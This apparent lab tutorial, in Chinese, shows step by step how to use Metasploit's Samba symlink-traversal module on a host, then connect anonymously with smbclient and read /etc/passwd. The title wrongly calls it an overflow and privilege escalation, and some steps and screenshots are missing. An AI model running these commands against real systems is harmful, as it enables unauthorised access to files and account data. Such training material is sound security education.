首页 > 代码库 > Metasploit溢出samba提权漏洞

Metasploit溢出samba提权漏洞

    Samba是一套实现SMB(server messages block)协议,跨平台进行文件共享和打印共享服务的程序,samba的sambd默认配置在可写文件共享时,存在目录遍历漏洞,远程用户可以通过smbclient端使用一个对称命,创建一个包含..的目录遍历符的软连接 ,可以进行目录遍历以及访问任意文件。

 

一、利用nmap工具扫描目标主机

1.1使用nmap命令对目标主机进行扫描。单击桌面空白处,右键菜单选择“在终端中打开”。

技术分享


1.3在终端中输入命令“msfconsole”,启动MSF终端。

1.4在终端中输入命令“search samba”,搜索samba的相关工具和攻击载荷。

1.5在终端中输入命令“use auxiliary/admin/smb/samba_symlink_traversal”,启用漏洞利用模块, 提示符就会提示进入到该路径下。

技术分享


1.6在终端中输入命令“info”,查看需要设置的相关项,“yes”表示必须填写的参数。

技术分享


1.7在终端中输入命令“set RHOST 192.168.1.3”,设置目标主机的IP地址。

1.8在终端中输入“set SMBSHARE tmp”, 设置SAM可写文件。

1.9在终端中输入“exploit”, 开始攻击。

1.10新打开一个终端,输入“smbclient //192.168.1.3/tmp”,直接回车,不用输入密码。

技术分享


1.11在终端中输入“cd rootfs”, 进入rootfs目录,在终端下输入命令“ls”,列出目录。


1.12在终端中输入“more /etc/passwd”, 查看目标主机系统中的密码。

技术分享

技术分享


Metasploit溢出samba提权漏洞